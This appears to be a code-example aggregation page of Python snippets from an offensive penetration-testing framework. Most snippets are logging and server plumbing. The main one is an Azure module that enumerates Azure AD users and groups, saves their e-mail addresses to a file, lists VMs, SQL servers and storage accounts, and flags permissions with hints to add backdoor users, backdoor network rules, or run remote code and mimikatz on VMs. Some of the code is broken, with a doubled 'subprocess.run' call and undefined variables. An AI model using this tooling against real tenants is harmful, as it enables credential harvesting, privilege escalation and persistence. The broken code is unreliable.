Exemple #1
0
    def call_modules(self):
        module_logger = CMXLogAdapter(extra={
                                          'module': self.module.name.upper(),
                                          'host': self.host,
                                          'port': self.args.port,
                                          'hostname': self.hostname
                                         })

        context = Context(self.db, module_logger, self.args)
        context.localip  = self.local_ip

        if hasattr(self.module, 'on_request') or hasattr(self.module, 'has_response'):
            self.server.connection = self
            self.server.context.localip = self.local_ip

        if hasattr(self.module, 'on_login'):
            self.module.on_login(context, self)

        if self.admin_privs and hasattr(self.module, 'on_admin_login'):
            self.module.on_admin_login(context, self)
        elif hasattr(self.module, 'on_admin_login') and not self.admin_privs:
            print('')
            module_logger.announce('Unable to execute module, user must have local admin privileges')
            print('')

        if (not hasattr(self.module, 'on_request') and not hasattr(self.module, 'has_response')) and hasattr(self.module, 'on_shutdown'):
            self.module.on_shutdown(context, self)
Exemple #2
0
 def log_message(self, format, *args):
     server_logger = CMXLogAdapter(
         extra={
             'module': self.server.module.name.upper(),
             'host': self.client_address[0]
         })
     server_logger.info("- - %s" % (format % args))
Exemple #3
0
 def proto_logger(self):
     if os.name == 'nt':
         self.windows = True
         self.decoder = 'cp1252'
     self.logger = CMXLogAdapter(extra={'protocol': 'AZURE',
                                     'host': self.username,
                                     'port': self.domain,
                                     'hostname': 'CLI'})
Exemple #4
0
 def proto_logger(self):
     self.logger = CMXLogAdapter(
         extra={
             'protocol': 'AZURE',
             'host': self.username,
             'port': self.domain,
             'hostname': 'CLI'
         })
Exemple #5
0
 def proto_logger(self):
     self.logger = CMXLogAdapter(
         extra={
             'protocol': 'WinRM',
             'host': ('->' + self.host),
             'port': self.port,
             'hostname': self.hostname
         })
Exemple #6
0
 def proto_logger(self):
     print('test')
     self.logger = CMXLogAdapter(
         extra={
             'protocol': 'WINRM',
             'host': self.host,
             'port': 'NONE',
             'hostname': 'NONE'
         })
Exemple #7
0
 def do_POST(self):
     if hasattr(self.server.module, 'on_response'):
         server_logger = CMXLogAdapter(
             extra={
                 'module': self.server.module.name.upper(),
                 'host': self.client_address[0]
             })
         self.server.context.log = server_logger
         self.server.module.on_response(self.server.context, self)
Exemple #8
0
    def __init__(self,
                 module,
                 context,
                 logger,
                 srv_host,
                 port,
                 server_type='https'):

        try:
            threading.Thread.__init__(self)

            self.server = HTTPServer((srv_host, int(port)), RequestHandler)
            self.server.hosts = []
            self.server.module = module
            self.server.context = context
            self.server.log = CMXLogAdapter(
                extra={
                    'module': self.server.module.name.upper(),
                    'host': ''
                }
            )  #blank host set for formatting reasons. without it we dont get the same logging setup
            self.cert_path = cfg.CERT_PATH
            self.server.track_host = self.track_host

            logging.debug('CMX server type: ' + server_type)
            if server_type == 'https':
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                self.server.socket = ssl.wrap_socket(
                    self.server.socket,
                    certfile=cfg.CERT_PATH,
                    keyfile=cfg.KEY_PATH,
                    server_side=True,
                    ssl_version=ssl.PROTOCOL_TLSv1)

        except Exception as e:
            errno, message = e.args
            if errno == 98 and message == 'Address already in use':
                logger.error(
                    'Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port'
                )
            else:
                logger.error(
                    'Error starting HTTP(S) server: {}'.format(message))

            sys.exit(1)
Exemple #9
0
    def init_module(self, module_path):

        module = None

        module = self.load_module(module_path)

        if module:
            module_logger = CMXLogAdapter(
                extra={'module': module.name.upper()})
            context = Context(self.db, module_logger, self.args)

            module_options = {}

            for option in self.args.module_options:
                key, value = option.split('=', 1)
                module_options[str(key).upper()] = value

            module.options(context, module_options)

        return module
Exemple #10
0
class az(connection):

    def __init__(self, args, db, host):

        self.db = db
        self.args = args
        self.az_cli = None
        self.username = ''
        self.domain = ''
        self.username_full = ''
        self.windows = False
        self.decoder = 'utf-8'

        if args.config:
            self.config1()
        else:
            self.proto_flow()


    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        azure_parser = parser.add_parser('az', help="owning over azure", parents=[std_parser, module_parser])
        azure_parser.add_argument('--full', action='store_true', help='Display full json output for azure commands')
        azure_parser.add_argument('--save', action='store_true', help='Saves just usernames to a file in current directory when doing user enum')

        configgroup = azure_parser.add_argument_group("Configure Azure CLI", "Configure the Azure Connection")
        configgroup.add_argument('--config', action='store_true', help='Setup or re-bind azure connection')

        #commandgroup = azure_parser.add_argument_group("Command Execution", "Options for executing commands")
        #commandgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")

        enumgroup = azure_parser.add_argument_group("Enumeration", "Azure AD Enumeration Commands")
        enumgroup.add_argument('--user', nargs='?', const='', metavar='USER', help='Enumerate and return all info about a user')
        enumgroup.add_argument('--users', action='store_true', help='Enumerate and return all users')
        enumgroup.add_argument('--group', nargs='?', const='', metavar='GROUP', help='Enumerate and return all members of a group')
        enumgroup.add_argument('--groups', action='store_true', help='Enumerate and return all groups')
        enumgroup.add_argument('--usergroups', nargs='?', const='', metavar='USERSGROUPS', help='Enumerate and return all groups a user is a member of')
        enumgroup.add_argument('--whoami', action='store_true', help='Show information about current identity')

        privgroup = azure_parser.add_argument_group("Privilege Checks", "Get Privs and identify PrivEsc")
        privgroup.add_argument('--suggest', action='store_true', help='Check for potentially abusable permissions')
        privgroup.add_argument('--privs', nargs='?', const='', metavar='USER', help='Check current users privileges')

        resourcegroup = azure_parser.add_argument_group("Resource Checks", "Interact with resources")
        resourcegroup.add_argument('--rgroups', action='store_true', help='List all Resource Groups for current subscription')

        sqlgroup = azure_parser.add_argument_group("SQL Commands", "Interact with SQL Servers and DBs")
        sqlgroup.add_argument('--sql-list', action='store_true', help='List all SQL Servers for current subscription')
        sqlgroup.add_argument('--sql-db-list', nargs='?', const='', metavar='USER', help='List all SQL DBs for current subscription')

        storagegroup = azure_parser.add_argument_group("Storage Commands", "Interact with Storage")
        storagegroup.add_argument('--storage-list', action='store_true', help='List all Storage for current subscription')

        vmgroup = azure_parser.add_argument_group("VM Checks", "Interact with VMs and VM Scale Sets")
        vmgroup.add_argument('--vm-list', nargs='?', const='', metavar='TARGET_VM', help='List all VMs for current subscription or target resource group')
        vmgroup.add_argument('--vmss-list', nargs='?', const='', metavar='TARGET_VMSS', help='List all VM Scale Sets for current subscription or target resource group')

        scriptgroup = azure_parser.add_argument_group("Script Execution", "Execute Scripts on Azure VMs")
        scriptgroup.add_argument('--mimiaz', action='store_true', help='Execute mimikats on a target VM')
        scriptgroup.add_argument('--script', nargs=1, metavar='Full_PATH_TO_SCRIPT', help='Execute Script on a target VM. Use full path to script')
        scriptgroup.add_argument('--vm', nargs=1, metavar='TARGET_VM', help='Used to specify target for Script Execution')
        scriptgroup.add_argument('--rg', nargs=1, metavar='RESOURCEGROUP',help='Used to specify target resource group for Script Execution')

        spngroup = azure_parser.add_argument_group("SPN Checks", "Interact with Service Principals")
        spngroup.add_argument('--spn-list', action='store_true', help='List all SPNs for current subscription')
        spngroup.add_argument('--spn-owner-list', action='store_true', help='List all SPNs for current subscription')
        spngroup.add_argument('--spn-mine', action='store_true', help='List all SPNs owned by current user')
        spngroup.add_argument('--spn', nargs='?', const='', metavar='OBJECTID', help='List all SPNs for current subscription')

        appgroup = azure_parser.add_argument_group("App Checks", "Interact with Apps")
        appgroup.add_argument('--app-list', action='store_true', help='List all Apps for current subscription')


        return parser


    def proto_flow(self):
        self.proto_logger()
        if self.test_connection():
            self.call_cmd_args()

    def proto_logger(self):
        if os.name == 'nt':
            self.windows = True
            self.decoder = 'cp1252'
        self.logger = CMXLogAdapter(extra={'protocol': 'AZURE',
                                        'host': self.username,
                                        'port': self.domain,
                                        'hostname': 'CLI'})

    def test_connection(self):
        if os.name == 'nt':
            self.windows = True
            self.decoder = 'cp1252'

        if not cfg.AZ_CONFIG_PATH.is_file():
            self.logger.error('Azure connection has not been configured.')
            self.logger.error('Run: cmx az 1 --config')
            return False

        # Grab our user/domain and re-init logger.
        # Config should have stored this in the config file.
        f = open(cfg.AZ_CONFIG_PATH,"r")
        data = f.read()
        f.close()
        self.username = data.split()[0].split('@')[0]
        self.domain = data.split()[0].split('@')[1]
        self.username_full = data.split()[0]

        self.proto_logger()
        self.az_cli = get_default_cli()

        return True


    def config1(self):
        self.proto_logger()

        login = subprocess.run(['az','login', '--allow-no-subscriptions'], shell = self.windows, stdout=subprocess.PIPE)
        user = re.findall('([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)', str(login.stdout))
        self.logger.success('Logged in as {}'.format(user[0])) #maybe not working
        print(" ")
        subs_resp = subprocess.run(['az','account', 'list', '--query', '[].{SubscriptionName:name, Id:id, TenantId:tenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        roles_resp = subprocess.run(['az','role', 'assignment', 'list', '--all', '--query', "[?principalName=='$User'].{Role:roleDefinitionName,ResoureGroup:resourceGroup}" ], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    #Show subs
        try:
            subs_resp_json = json.loads(subs_resp.stdout.decode(self.decoder))
            #print("subs: {}".format(subs_resp_json))
            print("Current user has the following subscriptions:")
            print("{:<14}{:<22}   {}".format('','TenantId','SubscriptionName'))

            for sub in subs_resp_json:
                print("{:<36} | {}".format(sub['TenantId'],sub['SubscriptionName']))

        except:
            #self.logger.error("Current user has no subscriptions")
            pass

    # Show roles
        print("")
        try:
            roles_resp_json = json.loads(roles_resp.stdout.decode(self.decoder))
            print("And the following roles: {}".format(roles_resp_json))
        except:
            self.logger.error("Current user has no roles")
            pass


        if not cfg.AZ_PATH.is_dir():
            cfg.AZ_PATH.mkdir(parents=True, exist_ok=True)


        f = open(cfg.AZ_CONFIG_PATH,"w")
        f.write("{}".format(user[0]))
        f.close()
        print('')
        print("               Azure Services now configured, Go get em tiger")
        print('')


    def call_cmd_args(self):
        for k, v in list(vars(self.args).items()):
            if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                if v is not False and v is not None:
                    logging.debug('Calling {}()'.format(k))
                    getattr(self, k)()


    def execute(self, command):
        try:
            result = self.az_cli.invoke(command)
            return {
                'result': result.result,
                'error': None
            }
        except CLIError as err:
            return {
                'result': None,
                'error': err.args
            }

###############################################################################

           #       ######              ####### #     # #     # #     #
          # #      #     #             #       ##    # #     # ##   ##
         #   #     #     #             #       # #   # #     # # # # #
        #     #    #     #    #####    #####   #  #  # #     # #  #  #
        #######    #     #             #       #   # # #     # #     #
        #     #    #     #             #       #    ## #     # #     #
        #     #    ######              ####### #     #  #####  #     #

###############################################################################
###############################################################################
#   Network/Domain Enum functions
#
# This section:
#
#
#
#
# (fold next line)
###############################################################################

    def whoami(self):

        my_user_id = subprocess.run(['az','ad', 'signed-in-user', 'show'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            #my_user_id_json = json.loads(my_user_id.stdout.decode('utf-8'))
            my_user_id_json = json.loads(my_user_id.stdout.decode(self.decoder))
        except:
            self.logger.error("Have you setup a session? cmx az --config")
            return

        self.logger.announce("Getting User Info")

        if self.args.full:
            pprint.pprint(my_user_id_json)
        else:
            self.logger.highlight("{:>26} {}".format('userPrincipalName: ', my_user_id_json['userPrincipalName']))
            self.logger.highlight("{:>26} {}".format('mail: ', my_user_id_json['mail']))
            self.logger.highlight("{:>26} {}".format('mailNickname: ', my_user_id_json['mailNickname']))
            self.logger.highlight("{:>26} {}".format('TelephoneNumber: ', my_user_id_json['telephoneNumber']))
            self.logger.highlight("{:>26} {}".format('objectId: ', my_user_id_json['objectId']))
            self.logger.highlight("{:>26} {}".format('SID: ', my_user_id_json['onPremisesSecurityIdentifier']))
            self.logger.highlight("{:>26} {}".format('isCompromised: ', my_user_id_json['isCompromised']))


    def user(self):
        if self.args.user == '':
            self.logger.announce("No user specified, calling whoami")
            self.whoami()
            return

        user_id = subprocess.run(['az','ad', 'user', 'show', '--id', self.args.user], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            user_id_json = json.loads(user_id.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        self.db.add_user(user_id_json)

        plans = []
        for plan in user_id_json["assignedPlans"]:
            plans.append(plan["service"])

        self.logger.announce("Getting User Info")

        if self.args.full:
            pprint.pprint(user_id_json)
        else:
            self.logger.highlight("{:<26} {}".format('userPrincipalName: ', user_id_json['userPrincipalName']))
            self.logger.highlight("{:<26} {}".format('mail: ', user_id_json['mail']))
            self.logger.highlight("{:<26} {}".format('mailNickname: ', user_id_json['mailNickname']))
            self.logger.highlight("{:<26} {}".format('TelephoneNumber: ', user_id_json['telephoneNumber']))
            self.logger.highlight("{:<26} {}".format('objectId: ', user_id_json['objectId']))
            self.logger.highlight("Plan Memberships: {}".format(plans))
            self.logger.highlight("{:<26} {}".format('SID: ', user_id_json['onPremisesSecurityIdentifier']))
            self.logger.highlight("{:<26} {}".format('isCompromised: ', user_id_json['isCompromised']))


    def usergroups(self):
        users_groups = subprocess.run(['az','ad', 'user', 'get-member-groups', '--id', self.args.usergroups], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            users_groups_json = json.loads(users_groups.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(users_groups_json)


    def users(self):
        self.logger.announce("Getting all users info, this might take a minute")
        user_id = subprocess.run(['az','ad', 'user', 'list'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            user_id_json = json.loads(user_id.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        try:
            for user1 in user_id_json:
                self.db.add_user(user1)
        except:
            self.logger.error("add user error tracebak:")
            self.logger.error(format_exc())

        # Do we save usernames
        if self.args.save:
            filename = "{}-users.txt".format(self.domain)
            savefile = open(filename,"w")


        if self.args.full:
            pprint.pprint(user_id_json)

        else:
            usercount = 0
            for user1 in user_id_json:
                if user1['isCompromised'] == None:
                    comp = 'No'
                else:
                    comp = 'Yes'

                if self.args.save:
                    savefile.write("{}\n".format(user1['mail']))

                usercount = usercount + 1
                self.logger.highlight("{:<36}  id:{}  compromised:{} ".format(user1['userPrincipalName'], user1['objectId'], comp))

        if self.args.save:
            savefile.close()
            self.logger.success("Email addresses saved to: {}".format(filename))

        self.logger.success("Total Users Found: {}".format(usercount))
        self.logger.success("All user info complete. Check the db for more details")


    def group(self):
        if self.args.group == '':
            self.logger.error('Must provide a group name or objectID')
            return

        group_list = subprocess.runsubprocess.run(['az','ad', 'group', 'member', 'list', '--group', self.args.group ], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            group_list_json = json.loads(group_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(group_list_json)


    def groups(self):
        group_list = subprocess.runsubprocess.run(['az','ad', 'group', 'list', '--query', '[].{display_name:displayName, description: description, object_id: objectId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            group_list_json = json.loads(group_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(group_list_json)


###############################################################################

        ######  ######     ###    #     #       #######  #####   #####
        #     # #     #     #     #     #       #       #     # #     #
        #     # #     #     #     #     #       #       #       #
        ######  ######      #     #     #       #####    #####  #
        #       #   #       #      #   #        #             # #
        #       #    #      #       # #         #       #     # #     #
        #       #     #    ###       #          #######  #####   #####

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def suggest(self):

        # Grab user UPN
        self.logger.announce("Function is a work-in-progress, try running --privs to see current privileges")
        upn_resp = subprocess.run(['az', 'ad', 'signed-in-user', 'show','--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        upn_json_obj = json.loads(upn_resp.stdout.decode(self.decoder))
        upn = upn_json_obj['upn']
        logging.debug('upn: {}'.format(upn))

        # GetCurrent users roles
        role_resp = subprocess.run(['az', 'role', 'assignment', 'list', '--assignee', upn, '--query', '[].{roleDefinitionName:roleDefinitionName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            role_json_obj = json.loads(role_resp.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        role_list = []
        for role in role_json_obj:
            role_list.append(role["roleDefinitionName"])

        if(len(role_list) == 0):
            self.logger.error("No roles found")
            return
        self.logger.success("Found roles for current user!")
        # Get definitions for each role

        tmp_list_perms = []
        for role in role_list:
            role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role], shell = self.windows, stdout=subprocess.PIPE)
            role_show_json = json.loads(role_show.stdout.decode(self.decoder))
            tmp_list_perms.append(role_show_json[0]['permissions'][0]['actions'][0])

        all_permissions = [item for sublist in tmp_list_perms for item in sublist]

        self.check_perms(all_permissions)


    def check_perms(self, permissions):

        self.logger.announce("Getting potentially abusable global permissions")
        for perm in permissions:
            if("*" in perm):
                self.logger.highlight("Found permission with * - should investigate: {}".format(perm))
            elif("write" in perm):
                self.logger.highlight(" found permission with write - should investigate: {}".format(perm))
            elif("create" in perm):
                self.logger.highlight(" found permission with create - should investigate: {}".format(perm))
            elif("delete" in perm):
                self.logger.highlight(" found permission with delete - should investigate: {}".format(perm))


        self.logger.announce("Checking for specific permissions")
        for perm in permissions:

            if("Microsoft.Authorization/*" in perm):
                self.logger.highlight("Current user has permission to do all authorizations actions to resources - consider RBAC manipulation and adding a backdoor AD user")
            if("Microsoft.Authorization/*/read" in perm):
                self.logger.highlight("Current user has permission to read all authorizations - consider running the priv domain enum module")


            if("Microsoft.Compute/*" in perm):
                self.logger.highlight("Current user has permission to run all operations for all resource types - consider using the exfil modules")
            if("Microsoft.Compute/*/read" in perm):
                self.logger.highlight("Current user has permission to read all compute related resources - consider using the various 'list' modules")


            if("Microsoft.Support/*" in perm):
                self.logger.highlight("Current user has permission to issue and submit support tickets")


            if("Microsoft.Resources/*" in perm):
                self.logger.highlight("Current user has permission to run all Microsoft.Resources related commands")
            elif("Microsoft.Resources/deployments/*" in perm):
                self.logger.highlight("Current user has permission to run all deployment related commands")
            elif("Microsoft.Resources/deployments/subscriptions/*" in perm):
                self.logger.highlight("Current user has permission to run all subscription related commands")


            if("Microsoft.Network/*" in perm):
                self.logger.highlight("Current user has permission to run all networking related commands - consider running the net modules")
            elif("Microsoft.Network/networkSecurityGroups/*" in perm):
                self.logger.highlight("Current user has permission to run all nsg related commands - consider running the nsg backdoor module")
            elif("Microsoft.Network/networkSecurityGroups/join/action" in perm):
                self.logger.highlight("Current user has permission to join a network security group ")


            if("Microsoft.Compute/virtualMachines/*" in perm):
                self.logger.highlight("Current user has permission to run virtual machine commands - consider running the various vm modules ")
            elif("Microsoft.Compute/virtualMachines/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm):
                self.logger.highlight("Current user has permission to run the runCommand virtual machine command - consider running the vm_rce ")


            if("Microsoft.Compute/virtualMachinesScaleSets/*" in perm):
                self.logger.highlight("Current user has permission to run virtual machine scale set commands - consider running the various vmss modules ")
            elif("Microsoft.Compute/virtualMachinesScaleSets/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm):
                self.logger.highlight("Current user has permission to run the runCommand virtual machine scale set command - consider running the vmss_rce ")


            if("Microsoft.Storage/*" in perm or "Microsoft.Storage/storageAccounts/*" in perm):
                self.logger.highlight("Current user has permission to run all storage account commands - consider running the various stg modules ")
            elif("Microsoft.Storage/storageAccounts/blobServices/containers/*" in perm):
                self.logger.highlight("Current user has permissions to run all storage account container commands - consider running the various stg modules ")
            elif("Microsoft.Storage/storageAccounts/listKeys/action" in perm):
                self.logger.highlight("Current user has permission to read storage account keys - consider running the stg blob scan/download modules ")


            if("Microsoft.Sql/*" in perm):
                self.logger.highlight("Current user has permission to run all sql commands - consider running the various sql modules ")
            elif("Microsoft.Sql/servers/*" in perm):
                self.logger.highlight("Current user has permission to run all sql server commands - consider running the sql server list or the sql backdoor firewall modules ")
            elif("Microsoft.Sql/servers/databases/*" in perm):
                self.logger.highlight("Current user has permission to run all sql database commands - consider running the sql db list ")


    def privs(self):
        # Grab user UPN
        #az ad signed-in-user show
        #az ad user show --id XXXX
        logging.debug("Starting privs")
        if self.args.privs == '':
            upn_resp = subprocess.run(['az', 'ad', 'signed-in-user', 'show','--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        else:
            upn_resp = subprocess.run(['az','ad', 'user', 'show', '--id', self.args.privs, '--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)


        try:
            upn_json_obj = json.loads(upn_resp.stdout.decode(self.decoder))
            upn = upn_json_obj['upn']
            logging.debug("upn {}".format(upn))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        # Get target user's roles
        # az role assignment list --assignee XXX
        role_resp = subprocess.run(['az', 'role', 'assignment', 'list', '--assignee', upn], shell = self.windows, stdout=subprocess.PIPE)
        try:
            role_json_obj = json.loads(role_resp.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return

        role_list = []
        for role in role_json_obj:
            logging.debug("role found: {}".format(role["roleDefinitionName"]))
            role_list.append(role["roleDefinitionName"])

        if(len(role_list) == 0):
            self.logger.error("No roles found")
            return
        self.logger.success("Roles Found!")

        if self.args.full:
            pprint.pprint(role_json_obj)
            return

        self.logger.highlight("{:<20}  | {}".format('    Role', '     Scope'))
        for role in role_json_obj:
            self.logger.highlight("{:<20}  | {}".format(role['roleDefinitionName'], role['scope']))


        # What do roles mean?
        self.logger.success("Info about Roles")
        self.logger.highlight("{:<20}  | {}".format('    Role', '     Description'))
        for role in role_list:
            #print(role.upper())
            #role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role, '--query', '[].{actions:permissions[].actions[], dataActions:permissions[].dataActions[], notActions:permissions[].notActions[], notDataActions:permissions[].notDataActions[]}'], shell = self.windows, stdout=subprocess.PIPE)
            role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role], shell = self.windows, stdout=subprocess.PIPE)
            role_show_json = json.loads(role_show.stdout.decode(self.decoder))
            for role in role_show_json:
                    self.logger.highlight("{:<20}  |  {} ".format(role['roleName'],
                                                                  (role['description'][:58] + (role['description'][58:] and '..')) ))

###############################################################################

    ######  #######  #####  ####### #     # ######   #####  #######
    #     # #       #     # #     # #     # #     # #     # #
    #     # #       #       #     # #     # #     # #       #
    ######  #####    #####  #     # #     # ######  #       #####
    #   #   #             # #     # #     # #   #   #       #
    #    #  #       #     # #     # #     # #    #  #     # #
    #     # #######  #####  #######  #####  #     #  #####  #######

###############################################################################
###############################################################################
#
#
#
#
###############################################################################


    def rgroups(self):
        # az group list --query
        rgroup = subprocess.run(['az','group', 'list', '--query', '[].{name:name, location: location, id: id}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            rgroup_json = json.loads(rgroup.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no subscriptions")
            return
        pprint.pprint(rgroup_json)


###############################################################################

                     #####      #####     #
                    #     #    #     #    #
                    #          #     #    #
                     #####     #     #    #
                          #    #   # #    #
                    #     #    #    #     #
                     #####      #### #    #######

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def sql_list(self):

        # Get server list
        # az sql server list
        sql_info = subprocess.run(['az', 'sql', 'server', 'list', '--query', '[].{fqdn:fullyQualifiedDomainName, name:name, rgrp: resourceGroup, admin_username:administratorLogin} '], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            sql_info_json = json.loads(sql_info.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no SQL subscriptions")
            return
        pprint.pprint(sql_info_json)


    def sql_db_list(self):

        # Get server list
        # az sql server list
        sql_info = subprocess.run(['az', 'sql', 'server', 'list', '--query', '[].{name:name, rgrp: resourceGroup} '], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            sql_info_json = json.loads(sql_info.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no SQL subscriptions")
            return

        servers = []
        rgrps = []
        for info in sql_info_json:
            servers.append(info['name'])
            rgrps.append(info['rgrp'])
            pprint.pprint(rgroup_json)

        # Get DBs
        # az sql db list --server XXX --resource-group XXX
        for i in range(len(servers)):
            sql_info = subprocess.run(['az', 'sql', 'db', 'list', '--server', servers[i], '--resource-group', rgrps[i], '--query', '[].{collation:collation, name:name, location:location, dbId:databaseId}'], shell = self.windows, stdout=subprocess.PIPE)
            sql_info_json = json.loads(sql_info.stdout.decode(self.decoder))
            print(servers[i], "\n")
            pprint.pprint(sql_info_json)


###############################################################################

         #####  ####### ####### ######     #     #####  #######
        #     #    #    #     # #     #   # #   #     # #
        #          #    #     # #     #  #   #  #       #
         #####     #    #     # ######  #     # #  #### #####
              #    #    #     # #   #   ####### #     # #
        #     #    #    #     # #    #  #     # #     # #
         #####     #    ####### #     # #     #  #####  #######

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def storage_list(self):
        # az storage account list
        stg_list = subprocess.run(['az','storage', 'account', 'list', '--query', '[].{resource_group:resourceGroup, storage_types:primaryEndpoints}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            stg_list_json = json.loads(stg_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no Storage subscriptions")
            return
        pprint.pprint(stg_list_json)




###############################################################################

                    #     #          #     #
                    #     #          ##   ##
                    #     #          # # # #
                    #     #          #  #  #
                     #   #           #     #
                      # #            #     #
                       #             #     #

###############################################################################
###############################################################################
#
#
#
#
###############################################################################

    def vm_list(self):

        # Get all vms in subscription
        # az vm list
        if self.args.vm_list == '':
            vm_list = subprocess.run(['az','vm', 'list', '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            try:
                vm_list_json = json.loads(vm_list.stdout.decode(self.decoder))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return
            # az vm list-ip-addresses
            vm_iplist = subprocess.run(['az','vm', 'list-ip-addresses', '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'], shell = self.windows, stdout=subprocess.PIPE)
            try:
                vm_iplist_json = json.loads(vm_iplist.stdout.decode(self.decoder))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return

        else: # Get all vms in specified resource group
            # az vm list -g XXX
            vm_list = subprocess.run(['az','vm', 'list', '-g', self.args.vm_list, '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE)
            try:
                vm_list_json = json.loads(vm_list.stdout.decode(self.decoder))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return
            # az vm list-ip-addresses -g XXX
            vm_iplist = subprocess.run(['az','vm', 'list-ip-addresses', '-g', self.args.vm_list, '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'], shell = self.windows, stdout=subprocess.PIPE)
            try:
                vm_iplist_json = json.loads(vm_iplist.stdout.decode(self.decoder))
            except:
                self.logger.error("Current user has no VM subscriptions")
                return

        #combine vm info
        for i in range(len(vm_list_json)):
            vm_list_json[i].update(vm_iplist_json[i])

        if self.args.full:
            pprint.pprint(vm_list_json)
            return

        self.logger.highlight("{:<15}   {:<10}   {:<19}   {:<19}   {:<19} ".format('Name', 'os', 'privateIp', 'publicIp', 'ResourceGroup'))

        for vm in vm_list_json:
            self.logger.highlight("{:<15} | {:<10} | {:<19} | {:<19} | {:<19} ".format(vm['name'],
                                                                                          vm['os'],
                                                                                          vm['privateIp'][0] if vm['privateIp'] else 'Null',
                                                                                          vm['publicIp'][0] if vm['publicIp'] else 'Null',
                                                                                          vm['resource_group'],
                                                                                          ))
# to see if its running, check the output from
# az vm get-instance-view --ids /subscriptions/51eae010-e6eb-48e2-8f01-e89b22a86d26/resourceGroups/RESOURCE1/providers/Microsoft.Compute/virtualMachines/test1

#"statuses": [
#      {
#        "code": "ProvisioningState/succeeded",
#        "displayStatus": "Provisioning succeeded",
#        "level": "Info",
#        "message": null,
#        "time": "2019-12-19T22:49:17.337039+00:00"
#      },
#      {
#        "code": "PowerState/deallocated",
#        "displayStatus": "VM deallocated",
#        "level": "Info",
#        "message": null,
#        "time": null
#      }
#    ],

    def vmss_list(self):

        # Get list of vmss
        # az vmss list
        vmss_list = subprocess.run(['az','vmss', 'list', '--query', '[].{name:name, rgrp:resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        try:
            vmss_list_json = json.loads(vmss_list.stdout.decode(self.decoder))
        except:
            self.logger.error("Current user has no VM subscriptions")
            return

        for i in range(len(vmss_list_json)):
            # Get vmss info
            vmss_list = subprocess.run(['az','vmss', 'list', '--resource-group', vmss_list_json[i]['rgrp'], '--query', '[].{name:name, vmss_size:sku.name, os_distro:virtualMachineProfile.storageProfile.imageReference.offer,os_version:virtualMachineProfile.storageProfile.imageReference.sku, username:virtualMachineProfile.osProfile.adminUsername, rgrp: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE)
            vmss_list_json = json.loads(vmss_list.stdout.decode(self.decoder))
            pprint.pprint(vmss_list_json[i])
            # Get vmss IP
